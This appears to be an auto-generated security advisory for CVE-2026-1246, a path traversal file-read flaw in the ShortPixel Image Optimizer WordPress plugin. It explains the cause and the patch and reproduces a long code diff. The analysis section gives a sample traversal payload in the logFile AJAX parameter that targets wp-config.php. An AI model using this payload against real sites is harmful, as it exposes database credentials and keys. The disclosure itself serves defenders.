Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1246: ShortPixel Image Optimizer <= 6.4.2 – Authenticated (Editor+) Arbitrary File Read via 'loadFile' Parameter (shortpixel-image-optimiser)

CVE ID CVE-2026-1246
Plugin shortpixel-image-optimiser
Severity Medium (CVSS 4.9)
CWE 22
Vulnerable Version 6.4.2
Patched Version 6.4.3
Disclosed February 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1246:
This vulnerability is an authenticated arbitrary file read via path traversal in the ShortPixel Image Optimizer WordPress plugin. The flaw resides in the ‘loadLogFile’ AJAX action handler, which insufficiently validates user-supplied file paths. Attackers with Editor-level privileges or higher can exploit this to read arbitrary files on the server, potentially exposing sensitive configuration files and credentials.

Atomic Edge research identifies the root cause in the `loadLogFile` method within the `AjaxController` class. The method receives a `logFile` parameter from the `$data` array without validation. In the vulnerable version, the code at `shortpixel-image-optimiser/class/Controller/AjaxController.php:1679` directly assigns `$logFile = $data[‘logFile’];`. This value is later used to construct a file path in the `getLogFile` method of the `BulkController` class at line 200: `$fullPath = $backupDir->getPath() . $logName;`. The absence of path traversal sanitization allows an attacker to supply directory traversal sequences (e.g., `../../wp-config.php`) in the `logFile` parameter.

The exploitation method requires an authenticated attacker with Editor or higher privileges. The attack vector is the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The attacker sends a POST request with the `action` parameter set to `shortpixel_loadLogFile`. The exploit payload is delivered via the `logFile` parameter within the `data` POST variable. A sample payload would be `data[logFile]=../../../../wp-config.php`. This bypasses the intended log file restriction and reads arbitrary system files.

The patch introduces multiple security layers. In `AjaxController.php:1679`, the code now appends a `.log` extension: `$logFile = $data[‘logFile’] . ‘.log’;`. This prevents reading files without the `.log` extension. More critically, the `getLogFile` method in `BulkController.php` is fortified. Lines 197-219 add path traversal checks using `realpath()`. The code resolves the full path and then verifies it resides within the intended backup directory with `strpos($resolvedPath, $backupPath) !== 0`. If the resolved path is outside the backup directory, the function returns `false`, preventing file access.

Successful exploitation leads to full server file read for the authenticated attacker. This can result in the disclosure of WordPress `wp-config.php` containing database credentials, authentication keys, and salts. Other sensitive files like `/etc/passwd`, application source code, or environment configuration files may also be read. While this does not directly allow remote code execution, the exposed credentials can lead to full site compromise, database access, and further privilege escalation within the hosting environment.

Differential between vulnerable and patched code

Code Diff 
--- a/shortpixel-image-optimiser/class/Controller/AdminController.php
+++ b/shortpixel-image-optimiser/class/Controller/AdminController.php
@@ -141,6 +141,12 @@
         return $meta; // It's a filter, otherwise no thumbs
     }

+    /** Handle AI processing on upload image
+     *
+     * @param mixed $meta
+     * @param mixed $id
+     * @return mixed
+     */
     public function handleAiImageUploadHook($meta, $id)
     {
               // Media only hook
@@ -397,10 +403,9 @@
           }
       }

-
       return $result;
-
     }
+
 		// WP functions that are not loaded during Cron Time.
 		protected function loadCronCompat()
 		{
@@ -413,9 +418,6 @@
          {
            include_once(ABSPATH . 'wp-admin/includes/image.php' );
          }
-
-
-
 		}

     /** Filter for Medialibrary items in list and grid view. Because grid uses ajax needs to be caught more general.
@@ -481,7 +483,6 @@
             break;
         }

-
         return $where;
     }

--- a/shortpixel-image-optimiser/class/Controller/AjaxController.php
+++ b/shortpixel-image-optimiser/class/Controller/AjaxController.php
@@ -159,7 +159,7 @@

 		// Notice that POST variables are always string, so 'true', not true.
 		// phpcs:ignore -- Nonce is checked
-		$isBulk = (isset($_POST['isBulk']) && $_POST['isBulk'] === 'true') ? true : false;
+		$isBulk = (isset($_POST['isBulk']) && $_POST['isBulk'] == 'true') ? true : false;
 		// phpcs:ignore -- Nonce is checked
 		$queue = (isset($_POST['queues'])) ? sanitize_text_field($_POST['queues']) : 'media,custom';

@@ -1676,7 +1676,7 @@

 	protected function loadLogFile($json, $data)
 	{
-		$logFile = $data['logFile'];
+		$logFile = $data['logFile'] . '.log';
 		$type = $data['type'];
 		$fs = wpSPIO()->filesystem();

@@ -1694,14 +1694,12 @@

 		$json->$type->logType = $logType;

-		if (! $log) {
+		if (false === $log) {
 			$json->$type->is_error = true;
 			$json->$type->result = __('Log file does not exist', 'shortpixel-image-optimiser');
 			return $json;
 		}

-		//	$date = UiHelper::formatTS($log->date);
-		//$logData = $bulkController->getLogData($logFile); // starts from options.
 		$date = (isset($logData['date'])) ? UiHelper::formatTS($logData['date']) : false;
 		$content = trim($log->getContents());
 		$lines = array_filter(explode(';', $content));
@@ -1860,10 +1858,17 @@

 	private function removeBackup($json, $data)
 	{
+		if (wp_verify_nonce($_POST['tools-nonce'], 'empty-backup')) {
+
+			$fs = wpSPIO()->filesystem();
+
+			$fs->moveLogFiles();

-		if (wp_verify_nonce($_POST['tools-nonce'], 'empty-backup')) {
 			$dir = wpSPIO()->filesystem()->getDirectory(SHORTPIXEL_BACKUP_FOLDER);
-			$dir->recursiveDelete();
+			$dir->recursiveDelete();
+
+			$fs->moveLogFiles(['to_temp' => false]);
+
 			$json->settings->results = __('The backups have been removed. You can close the window', 'shortpixel-image-optimiser');
 		} else {
 			$json->settings->results = __('Error: Invalid Nonce in empty backups', 'shortpixel-image-optimiser');
--- a/shortpixel-image-optimiser/class/Controller/BulkController.php
+++ b/shortpixel-image-optimiser/class/Controller/BulkController.php
@@ -197,6 +197,19 @@
   		 $fs = wpSPIO()->filesystem();
 			 $backupDir = $fs->getDirectory(SHORTPIXEL_BACKUP_FOLDER);

+       $backupDir = $fs->getDirectory(SHORTPIXEL_BACKUP_FOLDER);
+       $backupPath = realpath($backupDir->getPath());
+
+       // Construct the full path
+       $fullPath = $backupDir->getPath() . $logName; // .log not passed  anymore
+       $resolvedPath = realpath($fullPath);
+
+       // Ensure the resolved path is within the backup directory
+       if ($resolvedPath === false || strpos($resolvedPath, $backupPath) !== 0) {
+           return false;  // Path traversal attempt detected
+       }
+
+
 			 $log = $fs->getFile($backupDir->getPath() . $logName);
 			 if ($log->exists())
 			 	 return $log;
--- a/shortpixel-image-optimiser/class/Controller/FileSystemController.php
+++ b/shortpixel-image-optimiser/class/Controller/FileSystemController.php
@@ -502,4 +502,69 @@
       DirectoryModel::$TRUSTED_MODE = false;
     }
   }
-}
+
+  public function moveLogFiles($args = [])
+  {
+    $defaults = [
+      'to_temp' => true,
+    ];
+
+    $args = wp_parse_args($args, $defaults);
+
+    $tempDir = trailingslashit(sys_get_temp_dir());
+    $tmpLocation = $tempDir . 'logmove';
+
+    if (true === $args['to_temp'])
+    {
+      $sourcePath = SHORTPIXEL_BACKUP_FOLDER;
+      $targetPath = $tmpLocation;
+    }
+    else
+    {
+      $sourcePath = $tmpLocation;
+      $targetPath = SHORTPIXEL_BACKUP_FOLDER;
+    }
+
+    $logFiles = $files = glob(trailingslashit($sourcePath) . "*.log");
+
+
+
+    if (false !== $logFiles && is_array($logFiles) && count($logFiles) > 0)
+    {
+        $sourceDir = $this->getDirectory($sourcePath);
+        $sourceDir->check(); // Check if not create, will be needed if backup dir is removed.
+
+        $destinationDir = $this->getDirectory($targetPath);
+        $destinationDir->check();
+
+       foreach($logFiles as $filePath)
+       {
+         $file = $this->getFile($filePath);
+         $fileName = $file->getFileName();
+
+         $targetFile = $this->getFile($destinationDir->getPath() . $fileName);
+
+         $bool = $file->move($targetFile);
+
+         if ( false === $bool )
+         {
+           Log::addWarn('FAILED moving LogFile from '  . $file->getFullPath() . ' to ' . $targetFile->getFullPath());
+         }
+         else
+         {
+          Log::addInfo('LogFile moved from '  . $file->getFullPath() . ' to ' . $targetFile->getFullPath() );
+         }
+       }
+
+    }
+
+    if (false === $args['to_temp'])
+    {
+       rmdir($tmpLocation); //cleanup
+    }
+
+
+    return false;
+  }
+
+} // class
--- a/shortpixel-image-optimiser/class/Controller/Front/CDNController.php
+++ b/shortpixel-image-optimiser/class/Controller/Front/CDNController.php
@@ -391,7 +391,6 @@
 		//  $replace_function = ($this->replace_method == 'preg') ? 'pregReplaceContent' : 'stringReplaceContent';

 		$replace_function = 'pregReplaceByString'; // undercooked, will defer to next version
-	//	$replace_function = 'stringReplaceContent';
 		$imageIndexes = array_column($replaceBlocks, 'imageId');

 		array_multisort($imageIndexes, SORT_ASC, $replaceBlocks);
@@ -518,7 +517,12 @@

 	protected function fetchImageMatches($content, $args = [])
 	{
-		$number = preg_match_all('/<img[^>]*>|<source srcset="[^>]*">/i', $content, $matches);
+		// Previous pattern
+		//$number = preg_match_all('/<img[^>]*>|<source srcset="[^>]*">/i', $content, $matches);
+
+		// Updated pattern via - https://github.com/short-pixel-optimizer/shortpixel-image-optimiser/issues/159
+		$number = preg_match_all('/<img[^>]*>|<sources+srcset="[^"]*"[^>]*>/i', $content, $matches);
+
 		$matches = $matches[0];
 		return $matches;
 	}
--- a/shortpixel-image-optimiser/class/Controller/Front/PictureController.php
+++ b/shortpixel-image-optimiser/class/Controller/Front/PictureController.php
@@ -23,7 +23,6 @@
   public function __construct()
   {
 			add_action('init', [$this, 'initWebpHooks']);
-//			$this->initWebpHooks();
   }

 	public function initWebpHooks()
@@ -48,9 +47,28 @@

         } else {

+            $filters = [
+                'the_content' => 10000,
+                'the_excerpt' => 10000,
+                'post_thumbnail_html' => 10,
+                'wp_get_attachment_image' => 10,
+            ];
+
+            $hook = [$this, 'convertImgToPictureAddWebp'];
+
+            $filters = apply_filters('shortpixel/front/picture_webp_filters', $filters);
+
+            foreach($filters as $filter => $priority)
+            {
+                  add_filter($filter, $hook, $priority);
+            }
+
+            /*
             add_filter( 'the_content', array($this, 'convertImgToPictureAddWebp'), 10000 ); // priority big, so it will be executed last
             add_filter( 'the_excerpt', array($this, 'convertImgToPictureAddWebp'), 10000 );
             add_filter( 'post_thumbnail_html', array($this,'convertImgToPictureAddWebp') );
+            add_filter( 'wp_get_attachment_image', array($this,'convertImgToPictureAddWebp'));
+            */
         }
     }
   }
--- a/shortpixel-image-optimiser/class/Controller/Optimizer/ActionController.php
+++ b/shortpixel-image-optimiser/class/Controller/Optimizer/ActionController.php
@@ -57,14 +57,28 @@
   }

   // @todo See if we need this, more for Apier things
-  protected function HandleItemError(QueueItem $item)
+  protected function HandleItemError(QueueItem $qItem)
   {
     return;
   }
   // Same
-  public function handleAPIResult(QueueItem $item)
+  public function handleAPIResult(QueueItem $qItem)
   {
-      return;
+      $q = $this->getCurrentQueue($qItem);
+
+     if ($qItem->result()->is_error) {
+      Log::addDebug('Item failed, has error ', $qItem->result());
+      $q->itemFailed($qItem, true);
+      $this->HandleItemError($qItem);
+     }
+     elseif (true === $qItem->result()->is_done)
+      {
+         $this->finishItemProcess($qItem);
+      }
+
+
+     // return;
+
   }


@@ -77,7 +91,6 @@
    */
   public function enqueueItem(QueueItem $qItem, $args = [])
   {
-
    $queue = $this->getCurrentQueue($qItem);
    $directAction = true; // By default, execute Actions directly ( not via queue sys )

@@ -93,42 +106,39 @@
       break;
    }

-
     if (true === $directAction)
     {
        // The directActions give back booleans, but the whole function must return an queue result object with qstatus and numitems
        $process_result = $this->sendToProcessing($qItem);

-       $result = new stdClass;
-       $result->qstatus = RequestManager::STATUS_NOT_API;
+    //   $result = new stdClass;
+     //  $result->qstatus = RequestManager::STATUS_NOT_API;

       // The assumption here that will work always because of requeue in reOptimizeItem, should not respond with NO_API response, but with continue process
-      if (is_object($process_result))
+/*      if (is_object($process_result))
       {
          $result->qstatus = Queue::RESULT_EMPTY;
          $result->numitems = 1;
-      }
+      } */

+      $this->handleAPIResult($qItem);
     }
-    else
+    /*else
     {
       $result = $queue->addQueueItem($qItem);
-    }
+    } */

-
-    return $result;
+    //return $result;
   }

   /**
    * Try to convert a PNGfile to JPG. This is done on the local server.  The file should be converted and then re-added to the queue to be processed as a JPG ( if success ) or continue as PNG ( if not success )
    * @param  Object $item                 Queued item
-   * @param  Object $mediaQ               Queue object
    * @return boolean Returns success status.
    */
   // @todo Via actions to Optimizers
   protected function convertPNG(QueueItem $qItem)
   {
-  //			$item->blocked = true;
     $qItem->block(true);
     $queue = $this->getCurrentQueue($qItem);

@@ -168,32 +178,18 @@
     $imageObj = $fs->getMediaImage($qItem->item_id);

     // Keep compressiontype from object, set in queue, imageModelToQueue
-   // $imageObj->setMeta('compressionType', $qItem->compressionType);

     $qItem->block(false);
+   // $this->finishItemProcess($qItem);

-    //$queue->itemDone($qItem);
-    $this->finishItemProcess($qItem);
-
-    return $bool;  // In future below queuing should work via finishItemProcess @todo
+    $qItem->addResult([
+      'is_done' => true,
+      'message' => __('Image converted', 'shortpixel-image-optimiser'),
+   ]);

-    // Get the item data to pass on settings like compressionType.
-   // $args = get_object_vars($qItem->data());
-    //$args['action'] = 'optimize';  // overwrite whatever option is set.
+    return $bool;

-    // This is a mess / needed for re-optimize but needs some better structuring.
-    $keepData = [
-       'compressionType' => $qItem->data()->compressionType,
-       'smartcrop' => $qItem->data()->smartcrop,

-    ];
-
-    // Add converted items to the queue for the process
-    $queueController = $this->getQueueController();
-    $result = $queueController->addItemToQueue($imageObj, $keepData );
-
-
-    return $bool;
   }

   /** Reoptimize an item
@@ -215,13 +211,13 @@
         // Mark Item ( for results ) as ongoing and such
         $queueItem->addResult([
             'fileStatus' => ImageModel::FILE_STATUS_PENDING,
-            'is_done' => false,
+            'is_done' => true,
             'message' => __('Image being reoptimized', 'shortpixel-image-optimiser'),
         ]);

-          $result = $this->finishItemProcess($queueItem);
+         // $result = $this->finishItemProcess($queueItem);

-          return $result;
+          return true;
     }
     else
     {
@@ -238,8 +234,6 @@

        $result = $imageModel->migrate();

-       $this->finishItemProcess($queueItem);
-
        $queueItem->addResult([
          'is_done' => true,
          'is_error' => false,
@@ -250,7 +244,7 @@
        return $result;
   }

-  /**
+  /** Handle Restore Item
    * @return boolean
    */
   protected function restoreItem(QueueItem $queueItem)
--- a/shortpixel-image-optimiser/class/Controller/Optimizer/OptimizeAiController.php
+++ b/shortpixel-image-optimiser/class/Controller/Optimizer/OptimizeAiController.php
@@ -5,9 +5,7 @@
  exit; // Exit if accessed directly.
 }

-
 use ShortPixelShortPixelLoggerShortPixelLogger as Log;
-
 use ShortPixelModelImageImageModel as ImageModel;
 use ShortPixelModelQueueQueueItem as QueueItem;
 use ShortPixelControllerApiRequestManager as RequestManager;
@@ -19,7 +17,6 @@
 use ShortPixelReplacerReplacer;
 use ShortPixelViewController as ViewController;

-
 // Class for AI Operations.  In time split off OptimizeController / Optimize actions to a main queue runner seperately.
 class OptimizeAiController extends OptimizerBase
 {
@@ -246,7 +243,8 @@
     }


-    $textItems = ['alt', 'caption', 'description', 'post_title'];
+    // removed  'post_title' here because in image title doens't look good.
+    $textItems = ['alt', 'caption', 'description'];
     foreach($textItems as $textItem)
     {

@@ -268,17 +266,29 @@
     return $aiData;
   }

+  private function getDataLabels()
+  {
+    $labels = [
+      'alt' => __('Alt', 'shortpixel-image-optimiser'),
+      'caption' => __('Caption', 'shortpixel-image-optimiser'),
+      'description' => __('Description', 'shortpixel-image-optimiser'),
+      'post_title' =>  __('Image Title' , 'shortpixel-image-optimiser'),
+    ];
+
+    return $labels;
+  }
+
   protected function HandleSuccess(QueueItem $qItem)
   {
         $aiData = $qItem->result()->aiData;
-        $settings = wpSPIO()->settings();
+        // $settings = wpSPIO()->settings();

-        $checks = ['alt' => 'ai_gen_alt',
+        /* $checks = ['alt' => 'ai_gen_alt',
         'caption' => 'ai_gen_caption',
         'description' => 'ai_gen_description',
         'filename' => 'ai_gen_filename',
         'post_title' => 'ai_gen_post_title',
-        ];
+        ]; */

         $aiData = $this->formatResultData($aiData, $qItem);

@@ -318,9 +328,8 @@
         $data = $this->getAltData($qItem);
         $qItem->addResult(['aiData' => $data['generated']]); // But the generated data in the result.

-        // For Bulk, add labels to display in the result set. Default is same as data, can be overridden
-        $qItem->addResult(['aiDataLabels' => $data['labels']
-        ]);
+        // For Bulk, add labels to display in the result set. Default is same as data, can be overridden . Used in Bulk JS
+        $qItem->addResult(['aiDataLabels' => $this->getDataLabels()  ]);

         $this->finishItemProcess($qItem);
         return;
@@ -739,13 +748,7 @@
     $metadata['current'] = $current;
     $metadata['action'] = $qItem->data()->action;
     $metadata['item_id'] = $item_id;
-
-    $metadata['labels'] = [
-      'alt' => __('Alt', 'shortpixel-image-optimiser'),
-      'caption' => __('Caption', 'shortpixel-image-optimiser'),
-      'description' => __('Description', 'shortpixel-image-optimiser'),
-      'post_title' =>  __('Image Title' , 'shortpixel-image-optimiser'),
-    ];
+    $metadata['labels']  = $dataItems; // Used in bulk JS

     return $metadata;
 }
@@ -756,6 +759,8 @@
   $fields = ['alt', 'caption', 'description', 'post_title'];
   $dataItems = [];

+  $labels = $this->getDataLabels();
+
   // Statii from AiDataModel which means generated is not available (replace for original/current?)
   $statii = [AiDataModel::F_STATUS_PREVENTOVERRIDE, AiDataModel::F_STATUS_EXCLUDESETTING];

@@ -770,12 +775,15 @@

        if (false === is_null($value) && false === is_int($value) && strlen($value) > 1)
        {
-          $dataItems[] = ucfirst($name);
+
+          $dataItems[] = isset($labels[$name]) ? $labels[$name] : ucfirst($name);
        }
        if (is_int($value) && in_array($value, $statii))
        {
          // If preview don't fall back on other stuff, just leave it empty.
-          if (true === $isPreview)
+          $value = __('AI generation disabled', 'shortpixel-image-optimiser');
+
+          /*if (true === $isPreview)
           {
              $value = '';
           }
@@ -786,7 +794,7 @@
           elseif(isset($original[$name]))
           {
                $value = $original[$name];
-          }
+          } */
           $generated[$name] = $value;
        }
   }
--- a/shortpixel-image-optimiser/class/Controller/Optimizer/OptimizeController.php
+++ b/shortpixel-image-optimiser/class/Controller/Optimizer/OptimizeController.php
@@ -493,7 +493,6 @@

       }

-
       if (!isset($item_files[$imageName]['webp']) && $image['webp']['status'] == ApiController::STATUS_SUCCESS) {
         $tempFile = $downloadHelper->downloadFile($image['webp']['url']);
         if (is_object($tempFile)) {
--- a/shortpixel-image-optimiser/class/Controller/Optimizer/OptimizerBase.php
+++ b/shortpixel-image-optimiser/class/Controller/Optimizer/OptimizerBase.php
@@ -23,7 +23,7 @@
     protected $currentQueue;  // trying to keep minimum, but optimize needs to speak to queue for items.
     protected $queueController; // Needed to keep track of bulk /non-bulk

-    public abstract function enqueueItem(QueueItem $qItem, $args = []);
+    public abstract function enqueueItem(QueueItem $qItem, $args = []); // Enqueue Single Item (not for bulk)
     public abstract function handleAPIResult(QueueItem $qItem);
     protected abstract function HandleItemError(QueueItem $qItem);
     public abstract function sendToProcessing(QueueItem $qItem);
@@ -151,6 +151,7 @@
     {
         $queue = $this->getCurrentQueue($qItem);
         $fs = wpSPIO()->filesystem();
+
         // If the action is passed as direct action / out of queue, there might be no queueItem in DB
         if (is_object($qItem->getQueueItem()))
         {
--- a/shortpixel-image-optimiser/class/Controller/Queue/MediaLibraryQueue.php
+++ b/shortpixel-image-optimiser/class/Controller/Queue/MediaLibraryQueue.php
@@ -189,7 +189,7 @@
      $last_id = $this->getStatus('last_item_id');

      $limit = $this->q->getOption('enqueue_limit');
-     $prepare = array();
+     $prepare = [];
      global $wpdb;

      $sql = 'SELECT distinct attach_id from ' . $wpdb->prefix . 'shortpixel_postmeta where status = %d ';
@@ -208,7 +208,7 @@

      $results = $wpdb->get_col($sql);

-     $items = array();
+     $items = [];

      foreach($results as $item_id)
      {
@@ -216,7 +216,6 @@
      }

      return array_filter($items);
-
    }


@@ -255,7 +254,6 @@

        return array_filter($items);

-
    }

 }
--- a/shortpixel-image-optimiser/class/Controller/Queue/Queue.php
+++ b/shortpixel-image-optimiser/class/Controller/Queue/Queue.php
@@ -170,7 +170,6 @@
               $prepared = $this->prepare();
             }

-
             $result->qstatus = self::RESULT_PREPARING;
             $result->items = $prepared['items']; // number of items.
             $result->images = $prepared['images'];
@@ -368,7 +367,6 @@
 						$operation = false;

           $i = 0;
-
           $customData = $this->getStatus('custom_data');

           // maybe while on the whole function, until certain time has elapsed?
@@ -395,10 +393,8 @@
 										continue;
 								}

-
                 $mediaItem = $fs->getImage($item_id, $this->getType() );

-
             //checking if the $mediaItem actually exists
             if ( is_object($mediaItem) ) {

@@ -545,8 +541,6 @@
           $this->q->additems($queue);
           $numitems = $this->q->enqueue();

-         // Log::addTemp('CustomData', $customData);
-
           if (true === $counterUpdated)
           {
             $this->q->setStatus('custom_data', $customData, false);
@@ -563,7 +557,6 @@
 					*/
           $return['results'] = count($items); // This is the return of the query. Preparing should not be 'done' before the query ends, but it can return 0 on the qcount if all results are already optimized.

-          //Log::addTemp('ImageCount '  . $customData->baseCount . ' added : ' . $baseCount .  ' leading to ', $return);
           return $return; // only return real amount.
     }

@@ -774,7 +767,7 @@
 //        $item->tries = $qItem->tries;

         $item = QueueItems::getEmptyItem($qItem->item_id, $this->getType());
-        $item->setFromData($qItem->value);
+        $item->setFromQueueData($qItem->value);
         $item->setData('tries', $qItem->tries);
         $item->setData('queue_list_order', $qItem->list_order);
         $item->data()->addKeepDataArgs('queue_list_order');
@@ -811,16 +804,18 @@
 		{
         if (isset(self::$isInQueue[$item_id]))
         {
-           return self::$isInQueue[$item_id];
+           $itemObj = self::$isInQueue[$item_id];
+        }
+        else
+        {
+          $itemObj = $this->q->getItem($item_id);
+          self::$isInQueue[$item_id] = $itemObj; // cache this, since interface requests this X amount of times.
         }
-
-				$itemObj = $this->q->getItem($item_id);
-        self::$isInQueue[$item_id] = $itemObj; // cache this, since interface requests this X amount of times.

 				$notQ = array(ShortQ::QSTATUS_DONE, ShortQ::QSTATUS_FATAL);
 				if (is_object($itemObj) && in_array(floor($itemObj->status), $notQ) === false )
 				{
-					return true;
+          return true;
 				}
 				return false;
 		}
--- a/shortpixel-image-optimiser/class/Controller/QueueController.php
+++ b/shortpixel-image-optimiser/class/Controller/QueueController.php
@@ -22,16 +22,13 @@

 use ShortPixelHelperUiHelper as UiHelper;

-
-
-// Controls,  the glue between the Queue and the Optimisers.
+// Controller,  the glue between the Queue and the Optimizers.
 class QueueController
 {

   const IN_QUEUE_ACTION_ADDED = 1;
   const IN_QUEUE_SKIPPED = 2;

-
   protected static $lastId; // Last item_id received / send. For catching errors.
   protected $lastQStatus; // last status for reporting purposes.

@@ -282,7 +279,7 @@
           $json->message =   __('Quota Exceeded','shortpixel-image-optimiser');
           return $json;
         }
-      }
+      } // No Quota Check

       // @todo Here prevent bulk from running when running flag is off
       // @todo Here prevent a runTick is the queue is empty and done already ( reliably )
@@ -327,7 +324,6 @@

       $data->total = $this->calculateStatsTotals($data);
       $data = $this->numberFormatStats($data);
-
       return $data;
   }

@@ -356,7 +352,6 @@
           $apiController = $qItem->getAPIController($action);
           $send_to_processing = true;

-
           if (is_null($apiController))
           {
             Log::addError('No optimiser found for this action, or action missing!', $qItem);
@@ -377,7 +372,8 @@
           $item_id = $qItem->item_id;
           $imageModel = (! is_null($qItem->imageModel)) ? $qItem->imageModel : $fs->getImage($item_id, $qtype);

-          if (is_object($imageModel))
+          // Set the ImageModel if not set.
+          if (is_null($qItem->imageModel) && is_object($imageModel))
           {
             $qItem->setModel($imageModel);
           }
@@ -405,7 +401,6 @@
             ResponseController::addData($item_id, 'fileName', $imageModel->getFileName());

             $send_to_processing = false;
-
           }
           else
           {
@@ -447,7 +442,7 @@
    * Get Queue Object for adding items to it.  This is dependent on the type of image.
    *
    * @param [string] $type
-   * @return Object|boolean Queue object
+   * @return Object|boolean Queue object, false if wrong type was given
    */
   public function getQueue($type)
   {
@@ -455,12 +450,12 @@

       if ($type == 'media')
       {
-          $queueName = ($this->args['is_bulk'] == true) ? 'media' : 'mediaSingle';
+          $queueName = (true == $this->args['is_bulk']) ? 'media' : 'mediaSingle';
           $queue = new MediaLibraryQueue($queueName);
       }
       elseif ($type == 'custom')
       {
-        $queueName = ($this->args['is_bulk'] == true) ? 'custom' : 'customSingle';
+        $queueName = (true == $this->args['is_bulk']) ? 'custom' : 'customSingle';
         $queue = new CustomQueue($queueName);
       }
       else
@@ -469,7 +464,7 @@
         return false;
       }

-      $options = $queue->getCustomDataItem('queueOptions');
+      $options = $queue->getOptions();
       if ($options !== false)
       {
           $queue->setOptions($options);
@@ -497,15 +492,12 @@
     $json->status = null;
     $json->result = null;
     $json->results = null;
-//      $json->actions = null;
-  //  $json->has_error = false;// probably unused
     $json->message = null;

     return $json;
   }

-  /** f a result Queue Stdclass to a JSON send Object */
-  // Q
+  /** If a result Queue Stdclass to a JSON send Object */
   protected function queueToJson($result, $json = false)
   {
       if (! $json)
@@ -541,7 +533,6 @@
         break;
       }
       $json->qstatus = $result->qstatus;
-      //$json->

       if (property_exists($result, 'stats'))
         $json->stats = $result->stats;
@@ -574,7 +565,10 @@
       }
   }

-  // Q
+  /** On Uninstall plugin, remove all queue data of this plugin
+   *
+   * @return void
+   */
   public static function uninstallPlugin()
   {

@@ -659,8 +653,9 @@
              }
              elseif(is_bool($object->stats->$key))
              {
-                // True > False in total since this status is true for one of the items.
-                if ($value === true && $object->stats->$key === false)
+                // True > False in total since this status is true for one of the items. Except for is_finished, only when BOTH are finished.
+                // @todo This logic should perhaps be revised somehow.
+                if ($value === true && $object->stats->$key === false && $key !== 'is_finished')
                    $object->stats->$key = true;
              }
              elseif (is_object($object->stats->$key)) // bulk object, only numbers.
@@ -704,10 +699,6 @@
                }

               $results->$qn->stats->$key = $value;
-            /*	if (! property_exists($results->$qn->stats, 'raw'))
-                $results->$qn->stats->raw = new stdClass;
-
-              $results->$qn->stats->raw->$key = $raw_value; */
           }
         }
      }
@@ -830,8 +821,6 @@
   private function logBulk(QueueItem $qItem)
   {
     $item_id = $qItem->item_id;
-   // $responseItem = ResponseController::getResponseItem($item_id);
-
     $type = (is_object($qItem->imageModel)) ? $qItem->imageModel->get('type') : false;

     if (false === $type)
--- a/shortpixel-image-optimiser/class/Controller/View/BulkViewController.php
+++ b/shortpixel-image-optimiser/class/Controller/View/BulkViewController.php
@@ -76,10 +76,15 @@
     $custom_operation_media = $bulkController->getCustomOperation('media');
     $custom_operation_custom = $bulkController->getCustomOperation('custom');

+    $custom_operation_media = (false === $custom_operation_media) ? $this->checkBulkViaPanelArg() : $custom_operation_media;
+    $custom_operation_custom = (false === $custom_operation_custom) ? $this->checkBulkViaPanelArg() : $custom_operation_custom;
+
     $this->view->customOperationMedia = (false !== $custom_operation_media) ? $this->getCustomLabel($custom_operation_media) : false;
     $this->view->customOperationCustom = (false !== $custom_operation_custom) ? $this->getCustomLabel($custom_operation_custom) : false;
-    $this->view->customOperationMediaName = $custom_operation_media;
-    $this->view->customerOperationCustomName = $custom_operation_custom;
+    // Not in use :
+    //$this->view->customOperationMediaName = $custom_operation_media;
+    //$this->view->customerOperationCustomName = $custom_operation_custom;
+

     $noticesController = AdminNoticesController::getInstance();

@@ -130,6 +135,41 @@

       return $label;
   }
+
+  /** This function has no other purpose than the map the Panel get argument to the proper bulk action. Reason this exists is because at the time the bulk screen is loaded, the bulk hasn't started, thus the specialOPeration is not in place, not showing the text in process / finished
+   * @todo Harmonize the panel name, bulk action name etc so this function is not needed to display string
+   * @return false|string
+   */
+  private function checkBulkViaPanelArg()
+  {
+      $panel = isset($_GET['panel']) ? sanitize_text_field($_GET['panel']) : null;
+
+      if (is_null($panel))
+      {
+         return false;
+      }
+
+      $action = false;
+
+      switch($panel)
+      {
+         case 'bulk-migrate':
+            $action = 'migrate';
+         break;
+         case 'bulk-restore':
+            $action = 'bulk-restore';
+         break;
+         case 'bulk-restoreAI':
+            $action = 'bulk-undoAI';
+         break;
+         case 'bulk-removeLegacy':
+            $action = 'removeLegacy';
+         break;
+      }
+
+      return $action;
+
+  }

 	// Double with ApiNotice . @todo Fix.
 	protected function getActivationNotice()
@@ -260,7 +300,7 @@

           if ($logFile->exists())
 					{
-            $errors = '<a data-action="OpenLog" data-file="' . $logFile->getFileName() . '" href="' . $fs->pathToUrl($logFile) . '">' . $errors . '</a>';
+            $errors = '<a data-action="OpenLog" data-file="' . $logFile->getFileBase() . '" href="' . $fs->pathToUrl($logFile) . '">' . $errors . '</a>';
 					}

 					$op = (isset($logData['operation'])) ? $logData['operation'] : false;
--- a/shortpixel-image-optimiser/class/Controller/View/EditMediaViewController.php
+++ b/shortpixel-image-optimiser/class/Controller/View/EditMediaViewController.php
@@ -32,12 +32,6 @@

 			protected static $instance;

-
-      public function __construct()
-      {
-        parent::__construct();
-      }
-
       protected function loadHooks()
       {
             add_action( 'add_meta_boxes_attachment', array( $this, 'addMetaBox') );
@@ -269,14 +263,10 @@
 						 $debugInfo[] = array(__('To Optimize URLS'),  $urls);
 					}

-
           $item = QueueItems::getImageItem($imageObj);

           if ($imageObj->isProcessable())
 					{
-						// $queueControl = new QueueController();
-
-
              $item->setDebug();
              $item->newOptimizeAction();

@@ -299,11 +289,7 @@

             if (true === $aiDataModel->isProcessable())
             {
-              //$item->requestAltAction();
-             // $optimizeAiController->parseJsonForQItem($item);
-              $debugInfo[] = ['Ai - Paramlist ', $aiDataModel->getOptimizeData() ];
-   //           $debugInfo[] = ['Ai - returnDataList' , $item->data()->returndatalist];
-
+              $debugInfo[] = ['Ai - Paramlist ', $aiDataModel->getOptimizeData() ];
             }
             else
             {
@@ -316,8 +302,6 @@

           }

-
-
           $debugInfo['imagemetadata'] = array(__('ImageModel Metadata (ShortPixel)'), $imageObj);
 					$debugInfo[] = array('', '<hr>');

@@ -340,8 +324,6 @@

             $debugInfo[] =  array(__("No Main File Backup Available"), '');

-
-
 					if ($imageObj->getMeta()->convertMeta()->isConverted())
 					{
 							$convertedBackup = ($imageObj->hasBackup(array('forceConverted' => true))) ? '<span class="green">Yes</span>' : '<span class="red">No</span>';
--- a/shortpixel-image-optimiser/class/Controller/View/ListMediaViewController.php
+++ b/shortpixel-image-optimiser/class/Controller/View/ListMediaViewController.php
@@ -29,11 +29,6 @@
   protected $template = 'view-list-media';
 //  protected $model = 'image';

-  public function __construct()
-  {
-    parent::__construct();
-  }
-
